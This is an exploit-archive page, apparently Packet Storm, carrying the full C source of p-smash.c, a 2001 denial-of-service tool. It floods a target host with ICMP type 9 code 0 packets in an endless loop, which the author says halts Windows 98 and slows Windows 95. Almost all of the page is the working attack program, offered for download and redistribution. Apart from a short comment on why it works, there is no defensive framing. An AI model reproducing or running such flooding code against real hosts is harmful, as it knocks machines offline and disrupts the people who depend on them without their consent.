exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

p-smash.c

p-smash.c
Posted Feb 12, 2001
Authored by Paulo Ribeiro

P-smash.c is an exploit that uses 50 percent of the CPU on windows 98 machines and causes windows 95 machines to slow down by sending ICMP type 9 code 0 packets.

tags | exploit
systems | windows
SHA-256 | ea8fd6e6dba3e554137d2f69ab652d216dcf5e70d827859208049f7e32a99736

p-smash.c

Change Mirror Download
/*
* p-smash.c
*
* Author:
* Paulo Ribeiro <prrar@nitnet.com.br>
* Rio de Janeiro, RJ, Brazil - January, 2001
*
* Results:
* While running this program, the target system will be halted or
* will get too slow.
*
* Message from ipchains:
* Jan 26 17:42:22 host kernel: Packet log: input ACCEPT eth0 PROTO=1
* 192.168.0.2:9 192.168.0.1:0 L=84 S=0x00 I=33619 F=0x0000 T=64 (#5)
*
* Systems affected:
* Microsoft Windows 95 - slows down
* Microsoft Windows 98 - halts
* Any other?
*
* Why:
* Seems that Microsoft Windows 98 can't handle with a ICMP packet with
* type 9 and code 0.
*
* Yes, you can modify and redistribute this program, but keep my name on it.
*/

#include <errno.h>
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/file.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/in_systm.h>

#define MAXPACKET 4096

int s;
int ident;

struct sockaddr whereto;

void send_pkt(int argc, char *argv[]);

int main(int argc, char *argv[])
{
char *hostname;
char *inet_ntoa();
char *toaddr = NULL;
char hnamebuf[MAXHOSTNAMELEN];

struct sockaddr_in *to = (struct sockaddr_in *) &whereto;
struct hostent *hp;
struct protoent *proto;

if (argc != 2)
{
fprintf(stderr,"Usage: %s <hostname>\n", argv[0]);
exit(1);
}

bzero((char *)&whereto, sizeof(struct sockaddr));
to->sin_family = AF_INET;
to->sin_addr.s_addr = inet_addr(argv[1]);
if (to->sin_addr.s_addr != -1)
{
strcpy(hnamebuf, argv[1]);
hostname = hnamebuf;
}
else
{
hp = gethostbyname(argv[1]);
if (hp)
{
to->sin_family = hp->h_addrtype;
bcopy(hp->h_addr, (caddr_t)&to->sin_addr, hp->h_length);
hostname = hp->h_name;
toaddr = inet_ntoa(to->sin_addr.s_addr);
}
else
{
printf("p-smash: unknown host %s\n", argv[1]);
exit(1);
}
}

ident = getpid() & 0xFFFF;

if ((proto = getprotobyname("icmp")) == NULL)
{
fprintf(stderr, "p-smash: icmp: unknown protocol\n");
exit(1);
}
if ((s = socket(AF_INET, SOCK_RAW, proto->p_proto)) < 0)
{
perror("p-smash: socket");
exit(1);
}

setlinebuf(stdout);

printf("Sending packets to %s... ", hostname);
fflush(stdout);

for (;;)
send_pkt(argc, argv);

exit(0);
}

void send_pkt(int argc, char *argv[])
{
static unsigned char outpack[MAXPACKET];
struct icmp *icp = (struct icmp *) outpack;

int ntransmitted = 0;

icp->icmp_type = 9; // here
icp->icmp_code = 0; // it is
icp->icmp_seq = ntransmitted++;
icp->icmp_id = ident;
icp->icmp_cksum = in_cksum(icp, 64);

sendto(s, outpack, 64, 0, &whereto, sizeof(struct sockaddr));
}

in_cksum(unsigned short *addr, int len)
{
register int nleft = len;
register unsigned short *w = addr;
register unsigned short answer;
register int sum = 0;
unsigned short odd_byte = 0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

if (nleft == 1)
{
*(unsigned char *)(&odd_byte) = *(unsigned char *)w;
sum += odd_byte;
}

sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;

return(answer);
}

/*
* p-smash.c: EOF
*/


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close